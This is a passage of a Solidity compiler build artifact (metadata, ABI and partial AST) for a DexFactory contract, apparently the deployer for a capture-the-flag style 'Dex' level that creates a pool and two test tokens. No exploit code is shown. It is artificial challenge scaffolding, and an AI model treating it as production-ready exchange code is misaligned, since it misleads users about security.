owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/DexFactory.sol\":\"DexFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Dex.sol\":{\"keccak256\":\"0x165404494864adbe32c9a11790fb3ed27c4377cadc9094783ca2850191ca90b9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5fb11639949ca42fbf5013de302480c56fed463d375635f28a34650f4b721350\",\"dweb:/ipfs/QmdUHtCRqdSWYLpEDGvS8KW4WC7Di59eS3Zt6Y66HKdB1a\"]},\"src/levels/DexFactory.sol\":{\"keccak256\":\"0x8d56f9a9b08cc0f033bc7f98934ca4180d8de705b6017af520dd516d058bf525\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://1ed9f54897d7de9ccb4cff464a0bf26795267a7ed0b1bbcf37d0c9d36a9106f4\",\"dweb:/ipfs/QmVXD4kmhXY9oaahAcAbRa5SVUnftYVZhPUy7MK8vexsUr\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/DexFactory.sol":"DexFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol":{"keccak256":"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238","urls":["bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0","dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol":{"keccak256":"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b","urls":["bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34","dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol":{"keccak256":"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca","urls":["bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd","dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Dex.sol":{"keccak256":"0x165404494864adbe32c9a11790fb3ed27c4377cadc9094783ca2850191ca90b9","urls":["bzz-raw://5fb11639949ca42fbf5013de302480c56fed463d375635f28a34650f4b721350","dweb:/ipfs/QmdUHtCRqdSWYLpEDGvS8KW4WC7Di59eS3Zt6Y66HKdB1a"],"license":"MIT"},"src/levels/DexFactory.sol":{"keccak256":"0x8d56f9a9b08cc0f033bc7f98934ca4180d8de705b6017af520dd516d058bf525","urls":["bzz-raw://1ed9f54897d7de9ccb4cff464a0bf26795267a7ed0b1bbcf37d0c9d36a9106f4","dweb:/ipfs/QmVXD4kmhXY9oaahAcAbRa5SVUnftYVZhPUy7MK8vexsUr"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/DexFactory.sol","id":51020,"exportedSymbols":{"Context":[48281],"Dex":[50797],"DexFactory":[51019],"ERC20":[47861],"IERC20":[47939],"IERC20Metadata":[47964],"Level":[55508],"Ownable":[46700],"SwappableToken":[50853]},"nodeType":"SourceUnit","src":"33:1427:68","nodes":[{"id":50855,"nodeType":"PragmaDirective","src":"33:23:68","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":50856,"nodeType":"ImportDirective","src":"58:26:68","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":51020,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":50857,"nodeType":"ImportDirective","src":"85:19:68","nodes":[],"absolutePath":"src/levels/Dex.sol","file":"./Dex.sol","nameLocation":"-1:-1:-1","scope":51020,"sourceUnit":50854,"symbolAliases":[],"unitAlias":""},{"id":50858,"nodeType":"ImportDirective","src":"105:57:68","nodes":[],"absolutePath":"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol","file":"openzeppelin-contracts-08/token/ERC20/ERC20.sol","nameLocation":"-1:-1:-1","scope":51020,"sourceUnit":47862,"symbolAliases":[],"unitAlias":""},{"id":51019,"nodeType":"ContractDefinition","src":"164:1295:68","nodes":[{"id":50973,"nodeType":"FunctionDefinition","src":"199:947:68","nodes":[],"body":{"id":50972,"nodeType":"Block","src":"282:864:68","nodes":[],"statements":[{"assignments":[50870],"declarations":[{"constant":false,"id":50870,"mutability":"mutable","name":"instance","nameLocation":"296:8:68","nodeType":"VariableDeclaration","scope":50972,"src":"292:12:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"},"typeName":{"id":50869,"nodeType":"UserDefinedTypeName","pathNode":{"id":50868,"name":"Dex","nameLocations":["292:3:68"],"nodeType":"IdentifierPath","referencedDeclaration":50797,"src":"292:3:68"},"referencedDeclaration":50797,"src":"292:3:68","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"visibility":"internal"}],"id":50875,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":50873,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"307:7:68","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Dex_$50797_$","typeString":"function () returns (contract Dex)"},"typeName":{"id":50872,"nodeType":"UserDefinedTypeName","pathNode":{"id":50871,"name":"Dex","nameLocations":["311:3:68"],"nodeType":"IdentifierPath","referencedDeclaration":50797,"src":"311:3:68"},"referencedDeclaration":50797,"src":"311:3:68","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}},"id":50874,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"307:9:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"nodeType":"VariableDeclarationStatement","src":"292:24:68"},{"assignments":[50877],"declarations":[{"constant":false,"id":50877,"mutability":"mutable","name":"instanceAddress","nameLocation":"334:15:68","nodeType":"VariableDeclaration","scope":50972,"src":"326:23:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50876,"name":"address","nodeType":"ElementaryTypeName","src":"326:7:68","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":50882,"initialValue":{"arguments":[{"id":50880,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50870,"src":"360:8:68","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}],"id":50879,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"352:7:68","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50878,"name":"address","nodeType":"ElementaryTypeName","src":"352:7:68","typeDescriptions":{}}},"id":50881,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"352:17:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"326:43:68"},{"assignments":[50885],"declarations":[{"constant":false,"id":50885,"mutability":"mutable","name":"tokenInstance","nameLocation":"395:13:68","nodeType":"VariableDeclaration","scope":50972,"src":"380:28:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"},"typeName":{"id":50884,"nodeType":"UserDefinedTypeName","pathNode":{"id":50883,"name":"SwappableToken","nameLocations":["380:14:68"],"nodeType":"IdentifierPath","referencedDeclaration":50853,"src":"380:14:68"},"referencedDeclaration":50853,"src":"380:14:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"visibility":"internal"}],"id":50894,"initialValue":{"arguments":[{"id":50889,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50877,"src":"430:15:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"546f6b656e2031","id":50890,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"447:9:68","typeDescriptions":{"typeIdentifier":"t_stringliteral_5eacce6c95f6838cd10e92f48b0d82f4df03d4ad1e947ebc0e9a235c5ef43194","typeString":"literal_string \"Token 1\""},"value":"Token 1"},{"hexValue":"544b4e31","id":50891,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"458:6:68","typeDescriptions":{"typeIdentifier":"t_stringliteral_d73fadf620f058fa7aa38d2c9cc03f2f5dc8258e51c10239dc1233cf7932296e","typeString":"literal_string \"TKN1\""},"value":"TKN1"},{"hexValue":"313130","id":50892,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"466:3:68","typeDescriptions":{"typeIdentifier":"t_rational_110_by_1","typeString":"int_const 110"},"value":"110"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_stringliteral_5eacce6c95f6838cd10e92f48b0d82f4df03d4ad1e947ebc0e9a235c5ef43194","typeString":"literal_string \"Token 1\""},{"typeIdentifier":"t_stringliteral_d73fadf620f058fa7aa38d2c9cc03f2f5dc8258e51c10239dc1233cf7932296e","typeString":"literal_string \"TKN1\""},{"typeIdentifier":"t_rational_110_by_1","typeString":"int_const 110"}],"id":50888,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"411:18:68","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_uint256_$returns$_t_contract$_SwappableToken_$50853_$","typeString":"function (address,string memory,string memory,uint256) returns (contract SwappableToken)"},"typeName":{"id":50887,"nodeType":"UserDefinedTypeName","pathNode":{"id":50886,"name":"SwappableToken","nameLocations":["415:14:68"],"nodeType":"IdentifierPath","referencedDeclaration":50853,"src":"415:14:68"},"referencedDeclaration":50853,"src":"415:14:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}},"id":50893,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"411:59:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"nodeType":"VariableDeclarationStatement","src":"380:90:68"},{"assignments":[50897],"declarations":[{"constant":false,"id":50897,"mutability":"mutable","name":"tokenInstanceTwo","nameLocation":"495:16:68","nodeType":"VariableDeclaration","scope":50972,"src":"480:31:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"},"typeName":{"id":50896,"nodeType":"UserDefinedTypeName","pathNode":{"id":50895,"name":"SwappableToken","nameLocations":["480:14:68"],"nodeType":"IdentifierPath","referencedDeclaration":50853,"src":"480:14:68"},"referencedDeclaration":50853,"src":"480:14:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"visibility":"internal"}],"id":50906,"initialValue":{"arguments":[{"id":50901,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50877,"src":"533:15:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"546f6b656e2032","id":50902,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"550:9:68","typeDescriptions":{"typeIdentifier":"t_stringliteral_c751b5b68c0ab3f6eca892f0f099d5a090c64dfe42ad9cf60707ee1cc8d081d8","typeString":"literal_string \"Token 2\""},"value":"Token 2"},{"hexValue":"544b4e32","id":50903,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"561:6:68","typeDescriptions":{"typeIdentifier":"t_stringliteral_a39ec66c774cba2cf553884c61d687cfaef06660fd9fd7c456b0e52f29efeca6","typeString":"literal_string \"TKN2\""},"value":"TKN2"},{"hexValue":"313130","id":50904,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"569:3:68","typeDescriptions":{"typeIdentifier":"t_rational_110_by_1","typeString":"int_const 110"},"value":"110"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_stringliteral_c751b5b68c0ab3f6eca892f0f099d5a090c64dfe42ad9cf60707ee1cc8d081d8","typeString":"literal_string \"Token 2\""},{"typeIdentifier":"t_stringliteral_a39ec66c774cba2cf553884c61d687cfaef06660fd9fd7c456b0e52f29efeca6","typeString":"literal_string \"TKN2\""},{"typeIdentifier":"t_rational_110_by_1","typeString":"int_const 110"}],"id":50900,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"514:18:68","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_string_memory_ptr_$_t_string_memory_ptr_$_t_uint256_$returns$_t_contract$_SwappableToken_$50853_$","typeString":"function (address,string memory,string memory,uint256) returns (contract SwappableToken)"},"typeName":{"id":50899,"nodeType":"UserDefinedTypeName","pathNode":{"id":50898,"name":"SwappableToken","nameLocations":["518:14:68"],"nodeType":"IdentifierPath","referencedDeclaration":50853,"src":"518:14:68"},"referencedDeclaration":50853,"src":"518:14:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}},"id":50905,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"514:59:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"nodeType":"VariableDeclarationStatement","src":"480:93:68"},{"assignments":[50908],"declarations":[{"constant":false,"id":50908,"mutability":"mutable","name":"tokenInstanceAddress","nameLocation":"592:20:68","nodeType":"VariableDeclaration","scope":50972,"src":"584:28:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50907,"name":"address","nodeType":"ElementaryTypeName","src":"584:7:68","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":50913,"initialValue":{"arguments":[{"id":50911,"name":"tokenInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50885,"src":"623:13:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":50910,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"615:7:68","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50909,"name":"address","nodeType":"ElementaryTypeName","src":"615:7:68","typeDescriptions":{}}},"id":50912,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"615:22:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"584:53:68"},{"assignments":[50915],"declarations":[{"constant":false,"id":50915,"mutability":"mutable","name":"tokenInstanceTwoAddress","nameLocation":"655:23:68","nodeType":"VariableDeclaration","scope":50972,"src":"647:31:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50914,"name":"address","nodeType":"ElementaryTypeName","src":"647:7:68","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":50920,"initialValue":{"arguments":[{"id":50918,"name":"tokenInstanceTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50897,"src":"689:16:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}],"id":50917,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"681:7:68","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":50916,"name":"address","nodeType":"ElementaryTypeName","src":"681:7:68","typeDescriptions":{}}},"id":50919,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"681:25:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"647:59:68"},{"expression":{"arguments":[{"id":50924,"name":"tokenInstanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50908,"src":"736:20:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":50925,"name":"tokenInstanceTwoAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50915,"src":"758:23:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":50921,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50870,"src":"717:8:68","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":50923,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"726:9:68","memberName":"setTokens","nodeType":"MemberAccess","referencedDeclaration":50603,"src":"717:18:68","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$returns$__$","typeString":"function (address,address) external"}},"id":50926,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"717:65:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50927,"nodeType":"ExpressionStatement","src":"717:65:68"},{"expression":{"arguments":[{"id":50931,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50877,"src":"815:15:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":50932,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"832:3:68","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"expression":{"id":50928,"name":"tokenInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50885,"src":"793:13:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":50930,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"807:7:68","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47442,"src":"793:21:68","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":50933,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"793:43:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50934,"nodeType":"ExpressionStatement","src":"793:43:68"},{"expression":{"arguments":[{"id":50938,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50877,"src":"871:15:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":50939,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"888:3:68","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"expression":{"id":50935,"name":"tokenInstanceTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50897,"src":"846:16:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":50937,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"863:7:68","memberName":"approve","nodeType":"MemberAccess","referencedDeclaration":47442,"src":"846:24:68","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":50940,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"846:46:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50941,"nodeType":"ExpressionStatement","src":"846:46:68"},{"expression":{"arguments":[{"id":50945,"name":"tokenInstanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50908,"src":"925:20:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":50946,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"947:3:68","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"expression":{"id":50942,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50870,"src":"903:8:68","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract 